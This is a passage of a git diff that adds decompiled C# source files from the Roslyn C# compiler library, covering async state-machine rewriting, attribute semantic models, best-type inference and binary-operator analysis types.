slotAllocatorOpt, nextFreeHoistedLocalSlot, diagnostics).GenerateMoveNext(body, moveNextMethod); + } + } + + private class AwaitDetector : BoundTreeWalkerWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator + { + private bool _sawAwait; + + public static bool ContainsAwait(BoundNode node) + { + AwaitDetector awaitDetector = new AwaitDetector(); + awaitDetector.Visit(node); + return awaitDetector._sawAwait; + } + + public override BoundNode VisitAwaitExpression(BoundAwaitExpression node) + { + _sawAwait = true; + return null; + } + } + + private readonly AsyncMethodBuilderMemberCollection _asyncMethodBuilderMemberCollection; + + private readonly bool _constructedSuccessfully; + + private readonly int _methodOrdinal; + + private FieldSymbol? _builderField; + + protected override bool PreserveInitialParameterValuesAndThreadId => false; + + private AsyncRewriter(BoundStatement body, MethodSymbol method, int methodOrdinal, AsyncStateMachine stateMachineType, ArrayBuilder stateMachineStateDebugInfoBuilder, VariableSlotAllocator? slotAllocatorOpt, TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + : base(body, method, stateMachineType, stateMachineStateDebugInfoBuilder, slotAllocatorOpt, compilationState, diagnostics) + { + _constructedSuccessfully = AsyncMethodBuilderMemberCollection.TryCreate(F, method, base.stateMachineType.TypeMap, out _asyncMethodBuilderMemberCollection); + _methodOrdinal = methodOrdinal; + } + + internal static BoundStatement Rewrite(BoundStatement bodyWithAwaitLifted, MethodSymbol method, int methodOrdinal, ArrayBuilder stateMachineStateDebugInfoBuilder, VariableSlotAllocator? slotAllocatorOpt, TypeCompilationState compilationState, BindingDiagnosticBag diagnostics, out AsyncStateMachine? stateMachineType) + { + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + if (!method.IsAsync) + { + stateMachineType = null; + return bodyWithAwaitLifted; + } + CSharpCompilation declaringCompilation = method.DeclaringCompilation; + bool flag = method.IsAsyncReturningIAsyncEnumerable(declaringCompilation) || method.IsAsyncReturningIAsyncEnumerator(declaringCompilation); + if (flag && !method.IsIterator) + { + bool flag2 = AwaitDetector.ContainsAwait(bodyWithAwaitLifted); + diagnostics.Add(flag2 ? ErrorCode.ERR_PossibleAsyncIteratorWithoutYield : ErrorCode.ERR_PossibleAsyncIteratorWithoutYieldOrAwait, method.GetFirstLocation()); + stateMachineType = null; + return bodyWithAwaitLifted; + } + TypeKind typeKind = (TypeKind)((((CompilationOptions)compilationState.Compilation.Options).EnableEditAndContinue || method.IsIterator) ? 2 : 10); + stateMachineType = new AsyncStateMachine(slotAllocatorOpt, compilationState, method, methodOrdinal, typeKind); + ((ModuleCompilationState)((PEModuleBuilder)compilationState.ModuleBuilderOpt).CompilationState).SetStateMachineType(method, (NamedTypeSymbol)stateMachineType); + AsyncRewriter asyncRewriter = (flag ? new AsyncIteratorRewriter(bodyWithAwaitLifted, method, methodOrdinal, stateMachineType, stateMachineStateDebugInfoBuilder, slotAllocatorOpt, compilationState, diagnostics) : new AsyncRewriter(bodyWithAwaitLifted, method, methodOrdinal, stateMachineType, stateMachineStateDebugInfoBuilder, slotAllocatorOpt, compilationState, diagnostics)); + if (!asyncRewriter.VerifyPresenceOfRequiredAPIs()) + { + return bodyWithAwaitLifted; + } + try + { + return asyncRewriter.Rewrite(); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + return new BoundBadStatement(bodyWithAwaitLifted.Syntax, ImmutableArray.Create((BoundNode)bodyWithAwaitLifted), hasErrors: true); + } + } + + protected bool VerifyPresenceOfRequiredAPIs() + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + VerifyPresenceOfRequiredAPIs(instance); + bool num = ((BindingDiagnosticBag)instance).HasAnyErrors(); + if (!num) + { + ((BindingDiagnosticBag)(object)diagnostics).AddDependencies((BindingDiagnosticBag)(object)instance, false); + } + else + { + ((BindingDiagnosticBag)(object)diagnostics).AddRange((BindingDiagnosticBag)(object)instance, false); + } + ((BindingDiagnosticBag)(object)instance).Free(); + if (!num) + { + return _constructedSuccessfully; + } + return false; + } + + protected virtual void VerifyPresenceOfRequiredAPIs(BindingDiagnosticBag bag) + { + EnsureWellKnownMember((WellKnownMember)268, bag); + EnsureWellKnownMember((WellKnownMember)269, bag); + } + + private Symbol EnsureWellKnownMember(WellKnownMember member, BindingDiagnosticBag bag) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return Binder.GetWellKnownTypeMember(F.Compilation, member, bag, body.Syntax.Location); + } + + protected override void GenerateControlFields() + { + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + stateField = F.StateMachineField(F.SpecialType((SpecialType)13), GeneratedNames.MakeStateMachineStateFieldName(), isPublic: true); + _builderField = F.StateMachineField(_asyncMethodBuilderMemberCollection.BuilderType, GeneratedNames.AsyncBuilderFieldName(), isPublic: true); + MethodInstrumentation methodBodyInstrumentations = F.ModuleBuilderOpt.GetMethodBodyInstrumentations(method); + if (((MethodInstrumentation)(ref methodBodyInstrumentations)).Kinds.Contains((InstrumentationKind)(-1))) + { + instanceIdField = F.StateMachineField(F.SpecialType((SpecialType)16), GeneratedNames.MakeStateMachineStateIdFieldName(), isPublic: true); + } + } + + protected override void GenerateMethodImplementations() + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Invalid comparison between Unknown and I4 + MethodSymbol methodToImplement = F.WellKnownMethod((WellKnownMember)268); + MethodSymbol methodToImplement2 = F.WellKnownMethod((WellKnownMember)269); + SynthesizedImplementationMethod moveNextMethod = OpenMoveNextMethodImplementation(methodToImplement); + GenerateMoveNext(moveNextMethod); + OpenMethodImplementation(methodToImplement2, "SetStateMachine"); + if ((int)F.CurrentType.TypeKind == 2) + { + F.CloseMethod(F.Return()); + } + else + { + F.CloseMethod(F.Block(F.ExpressionStatement(F.Call(F.Field(F.This(), _builderField), _asyncMethodBuilderMemberCollection.SetStateMachine, new BoundExpression[1] { F.Parameter(F.CurrentFunction.Parameters[0]) })), F.Return())); + } + GenerateConstructor(); + } + + protected virtual void GenerateConstructor() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + if ((int)stateMachineType.TypeKind == 2) + { + F.CurrentFunction = stateMachineType.Constructor; + F.CloseMethod(F.Block(ImmutableArray.Create(F.BaseInitialization(), F.Return()))); + } + } + + protected override void InitializeStateMachine(ArrayBuilder bodyBuilder, NamedTypeSymbol frameType, LocalSymbol stateMachineLocal) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)frameType.TypeKind == 2) + { + bodyBuilder.Add((BoundStatement)F.Assignment(F.Local(stateMachineLocal), F.New(frameType.InstanceConstructors[0]))); + } + } + + protected override BoundStatement GenerateStateMachineCreation(LocalSymbol stateMachineVariable, NamedTypeSymbol frameType, IReadOnlyDictionary proxies) + { + if (!AsyncMethodBuilderMemberCollection.TryCreate(F, method, null, out var collection)) + { + return new BoundBadStatement(F.Syntax, ImmutableArray.Empty, hasErrors: true); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.Add((BoundStatement)F.Assignment(F.Field(F.Local(stateMachineVariable), _builderField.AsMember(frameType)), F.StaticCall(null, collection.CreateBuilder))); + instance.Add(GenerateParameterStorage(stateMachineVariable, proxies)); + instance.Add((BoundStatement)F.Assignment(F.Field(F.Local(stateMachineVariable), stateField.AsMember(frameType)), F.Literal((StateMachineState)(-1)))); + if ((object)instanceIdField != null) + { + MethodSymbol methodSymbol = F.WellKnownMethod((WellKnownMember)361); + if ((object)methodSymbol != null) + { + instance.Add((BoundStatement)F.Assignment(F.Field(F.Local(stateMachineVariable), instanceIdField.AsMember(frameType)), F.Call(null, methodSymbol))); + } + } + MethodSymbol methodSymbol2 = collection.Start.Construct(frameType); + if (collection.CheckGenericMethodConstraints) + { + methodSymbol2.CheckConstraints(new ConstraintsHelper.CheckConstraintsArgs(F.Compilation, F.Compilation.Conversions, includeNullability: false, F.Syntax.Location, diagnostics)); + } + instance.Add((BoundStatement)F.ExpressionStatement(F.Call(F.Field(F.Local(stateMachineVariable), _builderField.AsMember(frameType)), methodSymbol2, ImmutableArray.Create((BoundExpression)F.Local(stateMachineVariable))))); + instance.Add((BoundStatement)(method.IsAsyncReturningVoid() ? F.Return() : F.Return(F.Property(F.Field(F.Local(stateMachineVariable), _builderField.AsMember(frameType)), collection.Task)))); + return F.Block(instance.ToImmutableAndFree()); + } + + protected virtual void GenerateMoveNext(SynthesizedImplementationMethod moveNextMethod) + { + new AsyncMethodToStateMachineRewriter(method, _methodOrdinal, _asyncMethodBuilderMemberCollection, F, stateField, _builderField, instanceIdField, (IReadOnlySet)(object)hoistedVariables, nonReusableLocalProxies, synthesizedLocalOrdinals, stateMachineStateDebugInfoBuilder, slotAllocatorOpt, nextFreeHoistedLocalSlot, diagnostics).GenerateMoveNext(body, moveNextMethod); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncStateMachine.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncStateMachine.cs new file mode 100644 index 0000000..d62b07c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AsyncStateMachine.cs @@ -0,0 +1,62 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class AsyncStateMachine : StateMachineTypeSymbol +{ + private readonly TypeKind _typeKind; + + private readonly MethodSymbol _constructor; + + private readonly ImmutableArray _interfaces; + + internal readonly TypeSymbol IteratorElementType; + + public override TypeKind TypeKind => _typeKind; + + internal override MethodSymbol Constructor => _constructor; + + internal override bool IsRecord => false; + + internal override bool IsRecordStruct => false; + + public AsyncStateMachine(VariableSlotAllocator variableAllocatorOpt, TypeCompilationState compilationState, MethodSymbol asyncMethod, int asyncMethodOrdinal, TypeKind typeKind) + : base(variableAllocatorOpt, compilationState, asyncMethod, asyncMethodOrdinal) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + _typeKind = typeKind; + CSharpCompilation declaringCompilation = asyncMethod.DeclaringCompilation; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + bool isIterator = asyncMethod.IsIterator; + if (isIterator) + { + TypeSymbol typeSymbol = (IteratorElementType = base.TypeMap.SubstituteType(asyncMethod.IteratorElementTypeWithAnnotations).Type); + if (asyncMethod.IsAsyncReturningIAsyncEnumerable(declaringCompilation)) + { + instance.Add(declaringCompilation.GetWellKnownType((WellKnownType)288).Construct(typeSymbol)); + } + instance.Add(declaringCompilation.GetWellKnownType((WellKnownType)289).Construct(typeSymbol)); + instance.Add(declaringCompilation.GetWellKnownType((WellKnownType)293).Construct(declaringCompilation.GetSpecialType((SpecialType)7))); + instance.Add(declaringCompilation.GetWellKnownType((WellKnownType)294)); + instance.Add(declaringCompilation.GetWellKnownType((WellKnownType)287)); + } + instance.Add(declaringCompilation.GetWellKnownType((WellKnownType)242)); + _interfaces = instance.ToImmutableAndFree(); + _constructor = (isIterator ? ((SynthesizedInstanceConstructor)new IteratorConstructor(this)) : ((SynthesizedInstanceConstructor)new AsyncConstructor(this))); + } + + internal override bool HasPossibleWellKnownCloneMethod() + { + return false; + } + + internal override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList basesBeingResolved) + { + return _interfaces; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AttributeSemanticModel.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AttributeSemanticModel.cs new file mode 100644 index 0000000..aa4ace2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AttributeSemanticModel.cs @@ -0,0 +1,131 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class AttributeSemanticModel : MemberSemanticModel +{ + private readonly AliasSymbol _aliasOpt; + + private readonly Symbol? _attributeTarget; + + private NamedTypeSymbol AttributeType => (NamedTypeSymbol)base.MemberSymbol; + + internal AttributeSemanticModel(AttributeSyntax syntax, NamedTypeSymbol attributeType, Symbol? attributeTarget, AliasSymbol aliasOpt, Binder rootBinder, PublicSemanticModel containingPublicSemanticModel, ImmutableDictionary? parentRemappedSymbolsOpt = null) + : base(syntax, attributeType, new ExecutableCodeBinder((SyntaxNode)(object)syntax, rootBinder.ContainingMember(), rootBinder), containingPublicSemanticModel, parentRemappedSymbolsOpt) + { + _aliasOpt = aliasOpt; + _attributeTarget = attributeTarget; + } + + public static AttributeSemanticModel Create(PublicSemanticModel containingSemanticModel, AttributeSyntax syntax, NamedTypeSymbol attributeType, AliasSymbol aliasOpt, Symbol? attributeTarget, Binder rootBinder, ImmutableDictionary? parentRemappedSymbolsOpt) + { + rootBinder = (((object)attributeTarget == null) ? rootBinder : new ContextualAttributeBinder(rootBinder, attributeTarget)); + return new AttributeSemanticModel(syntax, attributeType, attributeTarget, aliasOpt, rootBinder, containingSemanticModel, parentRemappedSymbolsOpt); + } + + public static SpeculativeSemanticModelWithMemberModel CreateSpeculative(SyntaxTreeSemanticModel parentSemanticModel, AttributeSyntax syntax, NamedTypeSymbol attributeType, AliasSymbol aliasOpt, Binder rootBinder, ImmutableDictionary parentRemappedSymbolsOpt, int position) + { + return new SpeculativeSemanticModelWithMemberModel(parentSemanticModel, position, syntax, attributeType, aliasOpt, rootBinder, parentRemappedSymbolsOpt); + } + + protected internal override CSharpSyntaxNode GetBindableSyntaxNode(CSharpSyntaxNode node) + { + switch (node.Kind()) + { + case SyntaxKind.Attribute: + return node; + case SyntaxKind.AttributeArgument: + { + CSharpSyntaxNode parent = node.Parent; + if (parent != null) + { + parent = parent.Parent; + if (parent != null) + { + return parent; + } + } + break; + } + } + return base.GetBindableSyntaxNode(node); + } + + internal override BoundNode Bind(Binder binder, CSharpSyntaxNode node, BindingDiagnosticBag diagnostics) + { + if (node.Kind() == SyntaxKind.Attribute) + { + AttributeSyntax node2 = (AttributeSyntax)node; + return binder.BindAttribute(node2, AttributeType, ContextualAttributeBinder.GetAttributedMember(_attributeTarget), diagnostics); + } + if (SyntaxFacts.IsAttributeName((SyntaxNode)(object)node)) + { + return new BoundTypeExpression((SyntaxNode)(object)(NameSyntax)node, _aliasOpt, AttributeType); + } + return base.Bind(binder, node, diagnostics); + } + + protected override BoundNode RewriteNullableBoundNodesWithSnapshots(BoundNode boundRoot, Binder binder, DiagnosticBag diagnostics, bool createSnapshots, out NullableWalker.SnapshotManager? snapshotManager, ref ImmutableDictionary? remappedSymbols) + { + return NullableWalker.AnalyzeAndRewrite(Compilation, null, boundRoot, binder, null, diagnostics, createSnapshots, out snapshotManager, ref remappedSymbols); + } + + protected override void AnalyzeBoundNodeNullability(BoundNode boundRoot, Binder binder, DiagnosticBag diagnostics, bool createSnapshots) + { + NullableWalker.AnalyzeWithoutRewrite(Compilation, null, boundRoot, binder, diagnostics, createSnapshots); + } + + protected override bool IsNullableAnalysisEnabled() + { + return IsNullableAnalysisEnabledIn(Compilation, (AttributeSyntax)Root); + } + + internal static bool IsNullableAnalysisEnabledIn(CSharpCompilation compilation, AttributeSyntax syntax) + { + return compilation.IsNullableAnalysisEnabledIn((SyntaxNode)(object)syntax); + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, ConstructorInitializerSyntax constructorInitializer, out PublicSemanticModel? speculativeModel) + { + speculativeModel = null; + return false; + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, PrimaryConstructorBaseTypeSyntax constructorInitializer, out PublicSemanticModel? speculativeModel) + { + speculativeModel = null; + return false; + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, EqualsValueClauseSyntax initializer, out PublicSemanticModel? speculativeModel) + { + speculativeModel = null; + return false; + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, ArrowExpressionClauseSyntax expressionBody, out PublicSemanticModel? speculativeModel) + { + speculativeModel = null; + return false; + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, StatementSyntax statement, out PublicSemanticModel? speculativeModel) + { + speculativeModel = null; + return false; + } + + internal override bool TryGetSpeculativeSemanticModelForMethodBodyCore(SyntaxTreeSemanticModel parentModel, int position, BaseMethodDeclarationSyntax method, out PublicSemanticModel? speculativeModel) + { + speculativeModel = null; + return false; + } + + internal override bool TryGetSpeculativeSemanticModelForMethodBodyCore(SyntaxTreeSemanticModel parentModel, int position, AccessorDeclarationSyntax accessor, out PublicSemanticModel? speculativeModel) + { + speculativeModel = null; + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AwaitExpressionInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AwaitExpressionInfo.cs new file mode 100644 index 0000000..e65f273 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AwaitExpressionInfo.cs @@ -0,0 +1,46 @@ +using System; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +public readonly struct AwaitExpressionInfo : IEquatable +{ + public IMethodSymbol? GetAwaiterMethod { get; } + + public IPropertySymbol? IsCompletedProperty { get; } + + public IMethodSymbol? GetResultMethod { get; } + + public bool IsDynamic { get; } + + internal AwaitExpressionInfo(IMethodSymbol getAwaiter, IPropertySymbol isCompleted, IMethodSymbol getResult, bool isDynamic) + { + GetAwaiterMethod = getAwaiter; + IsCompletedProperty = isCompleted; + GetResultMethod = getResult; + IsDynamic = isDynamic; + } + + public override bool Equals(object? obj) + { + if (obj is AwaitExpressionInfo other) + { + return Equals(other); + } + return false; + } + + public bool Equals(AwaitExpressionInfo other) + { + if (object.Equals(GetAwaiterMethod, other.GetAwaiterMethod) && object.Equals(IsCompletedProperty, other.IsCompletedProperty) && object.Equals(GetResultMethod, other.GetResultMethod)) + { + return IsDynamic == other.IsDynamic; + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(GetAwaiterMethod, Hash.Combine(IsCompletedProperty, Hash.Combine(GetResultMethod, IsDynamic.GetHashCode()))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BestIndex.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BestIndex.cs new file mode 100644 index 0000000..22eca17 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BestIndex.cs @@ -0,0 +1,35 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct BestIndex +{ + internal readonly BestIndexKind Kind; + + internal readonly int Best; + + internal readonly int Ambiguous1; + + internal readonly int Ambiguous2; + + public static BestIndex None() + { + return new BestIndex(BestIndexKind.None, 0, 0, 0); + } + + public static BestIndex HasBest(int best) + { + return new BestIndex(BestIndexKind.Best, best, 0, 0); + } + + public static BestIndex IsAmbiguous(int ambig1, int ambig2) + { + return new BestIndex(BestIndexKind.Ambiguous, 0, ambig1, ambig2); + } + + private BestIndex(BestIndexKind kind, int best, int ambig1, int ambig2) + { + Kind = kind; + Best = best; + Ambiguous1 = ambig1; + Ambiguous2 = ambig2; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BestIndexKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BestIndexKind.cs new file mode 100644 index 0000000..369e7c6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BestIndexKind.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum BestIndexKind +{ + None, + Best, + Ambiguous +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BestTypeInferrer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BestTypeInferrer.cs new file mode 100644 index 0000000..0d12713 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BestTypeInferrer.cs @@ -0,0 +1,213 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class BestTypeInferrer +{ + public static NullableAnnotation GetNullableAnnotation(ArrayBuilder types) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + NullableAnnotation nullableAnnotation = NullableAnnotation.NotAnnotated; + Enumerator enumerator = types.GetEnumerator(); + while (enumerator.MoveNext()) + { + nullableAnnotation = nullableAnnotation.Join(enumerator.Current.NullableAnnotation); + } + return nullableAnnotation; + } + + public static NullableFlowState GetNullableState(ArrayBuilder types) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + NullableFlowState nullableFlowState = NullableFlowState.NotNull; + Enumerator enumerator = types.GetEnumerator(); + while (enumerator.MoveNext()) + { + nullableFlowState = nullableFlowState.Join(enumerator.Current.State); + } + return nullableFlowState; + } + + public static TypeSymbol? InferBestType(ImmutableArray exprs, ConversionsBase conversions, ref CompoundUseSiteInfo useSiteInfo, out bool inferredFromFunctionType) + { + HashSet hashSet = new HashSet(conversions.IncludeNullability ? SymbolEqualityComparer.ConsiderEverything : SymbolEqualityComparer.IgnoringNullable); + ImmutableArray.Enumerator enumerator = exprs.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeSymbol typeOrFunctionType = enumerator.Current.GetTypeOrFunctionType(); + if ((object)typeOrFunctionType != null) + { + if (typeOrFunctionType.ContainsErrorType()) + { + inferredFromFunctionType = false; + return typeOrFunctionType; + } + hashSet.Add(typeOrFunctionType); + } + } + ArrayBuilder instance = ArrayBuilder.GetInstance(hashSet.Count); + instance.AddRange((IEnumerable)hashSet); + TypeSymbol bestType = GetBestType(instance, conversions, ref useSiteInfo); + instance.Free(); + if (bestType is FunctionTypeSymbol functionTypeSymbol) + { + bestType = functionTypeSymbol.GetInternalDelegateType(); + inferredFromFunctionType = (object)bestType != null; + return bestType; + } + inferredFromFunctionType = false; + return bestType; + } + + public static TypeSymbol? InferBestTypeForConditionalOperator(BoundExpression expr1, BoundExpression expr2, Conversions conversions, out bool hadMultipleCandidates, ref CompoundUseSiteInfo useSiteInfo) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + try + { + Conversions conversions2 = conversions.WithNullability(includeNullability: false); + TypeSymbol type = expr1.Type; + if ((object)type != null) + { + if (type.IsErrorType()) + { + hadMultipleCandidates = false; + return type; + } + if (conversions2.ClassifyImplicitConversionFromExpression(expr2, type, ref useSiteInfo).Exists) + { + instance.Add(type); + } + } + TypeSymbol type2 = expr2.Type; + if ((object)type2 != null) + { + if (type2.IsErrorType()) + { + hadMultipleCandidates = false; + return type2; + } + if (conversions2.ClassifyImplicitConversionFromExpression(expr1, type2, ref useSiteInfo).Exists) + { + instance.Add(type2); + } + } + hadMultipleCandidates = instance.Count > 1; + return GetBestType(instance, conversions, ref useSiteInfo); + } + finally + { + instance.Free(); + } + } + + internal static TypeSymbol? GetBestType(ArrayBuilder types, ConversionsBase conversions, ref CompoundUseSiteInfo useSiteInfo) + { + switch (types.Count) + { + case 0: + return null; + case 1: + return checkType(types[0]); + default: + { + TypeSymbol typeSymbol = null; + int num = -1; + for (int i = 0; i < types.Count; i++) + { + TypeSymbol typeSymbol2 = checkType(types[i]); + if ((object)typeSymbol2 == null) + { + continue; + } + if ((object)typeSymbol == null) + { + typeSymbol = typeSymbol2; + num = i; + continue; + } + TypeSymbol typeSymbol3 = Better(typeSymbol, typeSymbol2, conversions, ref useSiteInfo); + if ((object)typeSymbol3 == null) + { + typeSymbol = null; + continue; + } + typeSymbol = typeSymbol3; + num = i; + } + if ((object)typeSymbol == null) + { + return null; + } + for (int j = 0; j < num; j++) + { + TypeSymbol typeSymbol4 = checkType(types[j]); + if ((object)typeSymbol4 != null) + { + TypeSymbol t = Better(typeSymbol, typeSymbol4, conversions, ref useSiteInfo); + if (!typeSymbol.Equals(t, (TypeCompareKind)8)) + { + return null; + } + } + } + return typeSymbol; + } + } + static TypeSymbol? checkType(TypeSymbol type) + { + if (!(type is FunctionTypeSymbol functionTypeSymbol) || (object)functionTypeSymbol.GetInternalDelegateType() != null) + { + return type; + } + return null; + } + } + + private static TypeSymbol? Better(TypeSymbol type1, TypeSymbol? type2, ConversionsBase conversions, ref CompoundUseSiteInfo useSiteInfo) + { + if (type1.IsErrorType()) + { + return type2; + } + if ((object)type2 == null || type2.IsErrorType()) + { + return type1; + } + if (type1 is FunctionTypeSymbol) + { + if (!(type2 is FunctionTypeSymbol)) + { + return type2; + } + } + else if (type2 is FunctionTypeSymbol) + { + return type1; + } + ConversionsBase conversionsBase = conversions.WithNullability(includeNullability: false); + bool exists = conversionsBase.ClassifyImplicitConversionFromTypeWhenNeitherOrBothFunctionTypes(type1, type2, ref useSiteInfo).Exists; + bool exists2 = conversionsBase.ClassifyImplicitConversionFromTypeWhenNeitherOrBothFunctionTypes(type2, type1, ref useSiteInfo).Exists; + if (exists && exists2) + { + if (type1.Equals(type2, (TypeCompareKind)14)) + { + return type1.MergeEquivalentTypes(type2, (VarianceKind)1); + } + return null; + } + if (exists) + { + return type2; + } + if (exists2) + { + return type1; + } + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BetterResult.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BetterResult.cs new file mode 100644 index 0000000..2f24ccb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BetterResult.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum BetterResult +{ + Left, + Right, + Neither, + Equal +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinaryOperatorAnalysisResult.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinaryOperatorAnalysisResult.cs new file mode 100644 index 0000000..dce4218 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinaryOperatorAnalysisResult.cs @@ -0,0 +1,51 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct BinaryOperatorAnalysisResult +{ + public readonly Conversion LeftConversion; + + public readonly Conversion RightConversion; + + public readonly BinaryOperatorSignature Signature; + + public readonly OperatorAnalysisResultKind Kind; + + public bool IsValid => Kind == OperatorAnalysisResultKind.Applicable; + + public bool HasValue => Kind != OperatorAnalysisResultKind.Undefined; + + private BinaryOperatorAnalysisResult(OperatorAnalysisResultKind kind, BinaryOperatorSignature signature, Conversion leftConversion, Conversion rightConversion) + { + Kind = kind; + Signature = signature; + LeftConversion = leftConversion; + RightConversion = rightConversion; + } + + public override bool Equals(object obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Semantics/Operators/BinaryOperatorAnalysisResult.cs", 41); + } + + public override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Semantics/Operators/BinaryOperatorAnalysisResult.cs", 47); + } + + public static BinaryOperatorAnalysisResult Applicable(BinaryOperatorSignature signature, Conversion leftConversion, Conversion rightConversion) + { + return new BinaryOperatorAnalysisResult(OperatorAnalysisResultKind.Applicable, signature, leftConversion, rightConversion); + } + + public static BinaryOperatorAnalysisResult Inapplicable(BinaryOperatorSignature signature, Conversion leftConversion, Conversion rightConversion) + { + return new BinaryOperatorAnalysisResult(OperatorAnalysisResultKind.Inapplicable, signature, leftConversion, rightConversion); + } + + public BinaryOperatorAnalysisResult Worse() + { + return new BinaryOperatorAnalysisResult(OperatorAnalysisResultKind.Worse, Signature, LeftConversion, RightConversion); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinaryOperatorKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinaryOperatorKind.cs new file mode 100644 index 0000000..d6fc60e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinaryOperatorKind.cs @@ -0,0 +1,462 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp; + +[Flags] +internal enum BinaryOperatorKind +{ + TypeMask = 0xFF, + Int = 5, + UInt = 